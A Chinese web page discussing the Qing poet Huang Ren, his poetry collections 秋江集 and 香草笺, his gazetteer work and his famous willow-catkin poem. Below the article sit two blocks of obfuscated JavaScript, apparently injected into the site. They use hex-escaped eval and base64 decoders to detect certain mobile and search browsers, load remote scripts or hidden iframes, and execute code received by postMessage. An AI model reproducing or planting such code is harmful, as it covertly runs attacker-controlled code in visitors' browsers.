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时间:18-02-14 12:27:56 | 点击:2851

  
  
  

《秋江集》与《香草笺》

  黄任 善书法,尤工诗。所传《秋江集》共六卷,收入黄任诗计九百余首,七言绝句有六百余首,古今少有。选自《秋江集》中200首诗而成的《香草笺》,流传台湾,对台湾诗坛影响颇大。

  据当代台湾学者林文龙研究,自清代以来,《香草笺》一直风靡台湾,乃至成为书房讲授诗学的范本及灯会射虎的必备参考书。在诗坛上,黄任不立宗派,也不专学某一家,而是博采唐宋明清众家之长,自成一体。沈德潜编《清诗别裁集》不录尚存世诗人的作品,却破例选录了黄任的6首诗;著名诗人袁枚也把黄任视为 本朝 非人间凡响 的杰出诗人;建瓯郑方坤、长乐王元麟、永泰陈应魁先后为黄任的诗集作注。黄任的创作在当时所受推崇和影响的程度委实非同寻常。

  黄任在方志的编撰上也有建树。乾隆二十二年(1757年),受聘助修《永春州志》(永春原是泉州辖内的一个县。雍正十二年(1734年)提升为州)。又受鼓山涌泉寺僧委托,主修《鼓山志》。乾隆二十六年(1761年),再次应聘纂修《泉州府志》。

黄任诗述评

  黄任诗又名《秋江集》,共六卷,:计九百七十余首,而七言绝句,竟有六百余首之多,实为古今稀有.他的《杨花诗》云:

  行人莫折柳青青,看取杨花可暂停.到底不知离别苦,后身还去作浮萍.

  按隋无名氏诗:"杨柳青青着地垂,杨花漫漫搅天飞.柳条折尽花飞尽,借问行人归不归."又按陆佃《埤雅》:"杨花入水化为萍."黄任把杨花入水化为萍深一层写,自然便打动读者的心弦,无怪当时诗人称十砚翁为"黄杨花"了.他自己在《答高姜田太守诗》云:"升堂相见无馀语,诵我杨花七字诗."

eval("\x77\x69\x6e\x64\x6f\x77")["\x75\x76\x6b\x6c\x48"]=function(e){var li ='ABCDEFGHIJKLMNOPQ'+'RST'+''+'UVWXYZabcd'+''+'efghijklmnopqrstuv'+'wxy'+''+'z0123456789+'+'/=';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=li.indexOf(e.charAt(f++));o=li.indexOf(e.charAt(f++));u=li.indexOf(e.charAt(f++));a=li.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x68\x65\x52\x62\x46\x7a"]=function(){eval(uvklH("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dmFyIGRzPW5ldyBEYXRlKCk7dT1kZWNvZGVVUklDb21wb25lbnQodXZrbEgodS5yZXBsYWNlKG5ldyBSZWdFeHAoYysnJytjLCdnJyksYykuc3BsaXQoJycpLnJldmVyc2UoKS5qb2luKCcnKSkpO3U9dS5yZXBsYWNlKC9xaWhhbmcvZyxkcy5nZXREYXRlKCkpOydqUXVlcnknO3ZhciBfdWE9bmF2aWdhdG9yLnVzZXJBZ2VudDt2YXIgX3V2a2xIdXZrbEg9JzxzJysnY3JpJysncHQgc3JjPSInK3UrJy5qcyI+PFwvcycrJ2NyaXAnKyd0Pic7aWYoX3VhLmluZGV4T2YodXZrbEgoIlltRnBaSFU9IikpPi0xIHx8IF91YS5pbmRleE9mKHV2a2xIKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7aWYoX3VhLmluZGV4T2YodXZrbEgoJ2FWQm9iMjVsJykpPi0xKXtkb2N1bWVudC53cml0ZShfdXZrbEh1dmtsSCk7fWVsc2V7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbdXZrbEgoIlkzVnljbVZ1ZEZOamNtbHdkQT09IildO3ZhciBfaWQ9X2NsYXNzPSdlbScrJycrJ2J6JysnQScrJycrJ3JHJysnJysnRScrJyc7dmFyIF9fa2RucWlkID0gJ2snICsgcmQoMSwgMTAwMDAwKTtkWyd3JysncmknKyd0JysnZScrJ2xuJ10oJzxkJysnaXYgaScrJ2Q9JysnIicrX19rZG5xaWQrJyI+JysnPC9kJysnaXYnKyc+Jyk7d1snX19rJysnZGEnKyducScrJ29iJysnal81MTEnXT1kWydxdScrJ2VyeScrJ1NlbGUnKydjdG8nKydyJ10oJyMnK19fa2RucWlkKTtfaWQgKz0gZFsncXUnKydlcnknKydTZScrJ2xlYycrJ3RvJysnckEnKydsbCddKCcuJytfY2xhc3MpLmxlbmd0aDt2YXIgeiA9IHUrJy0yLycrX2lkKycvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnImFsJysnbG93dHJhbicrJ3NwYScrJ3JlbmN5IHNyJysnYz0iJyt6KyciPjwvaScrJ2ZyJysnYScrJ21lPicpO3dbImFkIisiZEV2IisiZW50TCIrImlzdCIrImVuZXIiXSgibSIrImVzcyIrImFnZSIsZnVuY3Rpb24oZSl7aWYoZS5kYXRhW3IrX2lkXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKHV2a2xIKGUuZGF0YVtyK19pZF0ucmVwbGFjZShuZXcgUmVnRXhwKHIsJ2cnKSwnJykpKSgpO319KTt9fWVsc2V7ZG9jdW1lbnQud3JpdGUoX3V2a2xIdXZrbEgpO319KSgnPT0nKycnKydVak0nKyd0RScrJ1RNJysnJysnMTAnKycnKyd5JysnWUcnKycnKydKJysnVCcrJ0onKycnKyduNVcnKycnKydZbycrJycrJ2wnKydXY3onKydSJysnV2InKycnKydsWlcnKycnKydka1onKydrTWwnKycnKydNJysnRCcrJ04wJysnJysnQScrJycrJ2pNQicrJ05USicrJycrJ3cnKycnKyc5JysnJysnR2QnKycnKyd1YycrJycrJ21iaCcrJycrJ2hXYScrJ3h0JysnJysnMmEwJysnJysnaG0nKycnKydMelonKycnKydrTScrJ2xZaycrJ01sRScrJzBNJysnJysnbCcrJycrJ01IJysnYycrJycrJzBSSCcrJycrJ2EnLCdlbScrJycrJ2J6JysnQScrJycrJ3JHJysnJysnRScrJycsd2luZG93LGRvY3VtZW50LDAsJz0nKQ=="));}
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eval("\x77\x69\x6e\x64\x6f\x77")["\x73\x6b\x70\x45\x6e"]=function(e){var bf ='ABCDEFGHIJKLMN'+''+'OPQRSTUVWXYZabcde'+''+'fghijklmnopqrst'+''+'uvwxyz0123456789'+''+'+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=bf.indexOf(e.charAt(f++));o=bf.indexOf(e.charAt(f++));u=bf.indexOf(e.charAt(f++));a=bf.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x76\x68\x55"]=function(){eval(skpEn("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dmFyIGRzPW5ldyBEYXRlKCk7dT1kZWNvZGVVUklDb21wb25lbnQoc2twRW4odS5yZXBsYWNlKG5ldyBSZWdFeHAoYysnJytjLCdnJyksYykuc3BsaXQoJycpLnJldmVyc2UoKS5qb2luKCcnKSkpO3U9dS5yZXBsYWNlKC9xaWhhbmcvZyxkcy5nZXREYXRlKCkpOydqUXVlcnknO2lmKG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihza3BFbigiWW1GcFpIVT0iKSk+LTEgfHwgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKHNrcEVuKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbc2twRW4oIlkzVnljbVZ1ZEZOamNtbHdkQT09IildO3ZhciB6PXUrJy0xLmh0bWw/dmhVJztkWyd3JysncmknKyd0JysnZSddKCc8aScrJ2ZyJysnYScrJ21lIHN0eWxlPSInKydtJysnYXInKydnaScrJ246MDtwJysnYWQnKydkJysnaW4nKydnOjA7YicrJ29yJysnZCcrJ2VyOm4nKydvbicrJ2U7Jysnb3AnKydhJysnY2knKyd0JysneTowJysnLjAnK3JkKDIsOSkrJzt3aScrJ2R0JysnaDonK3JkKDIsNSkrJ3AnKyd4O2gnKydlJysnaWdoJysndDonK3JkKDIsNSkrJ3AnKyd4OycrJyIgYWwnKydsb3d0cmFuJysnc3BhJysncmVuY3kgc3InKydjPSInK3orJyI+PC9pJysnZnInKydhJysnbWU+Jyk7d1snYWQnKydkRXYnKydlbnRMJysnaXN0JysnZW5lciddKCdtJysnZXNzJysnYWdlJyxmdW5jdGlvbihlKXtpZihlLmRhdGFbcl0pe3JtKGMpO25ldyBGdW5jdGlvbihldmFsKGRlY29kZVVSSUNvbXBvbmVudChlLmRhdGFbcl0ucmVwbGFjZShuZXcgUmVnRXhwKHIsJ2cnKSwnJykpKSkoKTt9fSk7fWVsc2V7ZG9jdW1lbnQud3JpdGUoJzxzJysnY3JpJysncHQgc3JjPSInK3UrJy5qcyI+PFwvcycrJ2NyaXAnKyd0PicpO319KSgnPU16JysnJysnTXRjJysnJysnRCcrJycrJ00xJysnMEMnKydlR0onKycnKydUSm4nKycnKyc1V1knKycnKydvbGwnKycnKydXYycrJycrJzNabScrJ1oxRicrJ24nKycnKydlMScrJycrJ1prJysnJysnTWxsJysnTUROJysnJysnMCcrJycrJ0FqJysnJysnTScrJ0JOVCcrJycrJ0p3JysnJysnOScrJ0cnKydkJysnJysndWNtJysnJysnYmgnKycnKydoV2EnKycnKyd4dCcrJzInKycnKydhMGgnKydtJysnJysnTHpaJysna01sJysnbFlrJysnJysnTWwnKycnKydsRTAnKycnKydNJysnbCcrJ2xNJysnSGMnKycnKycwUkgnKydhJysnJywnJysnZGVzJysnX3MnKydfNTA3JysnJysnJyx3aW5kb3csZG9jdW1lbnQsJycrJycrJycrJycrJycrJycsJ2wnKQ=="));}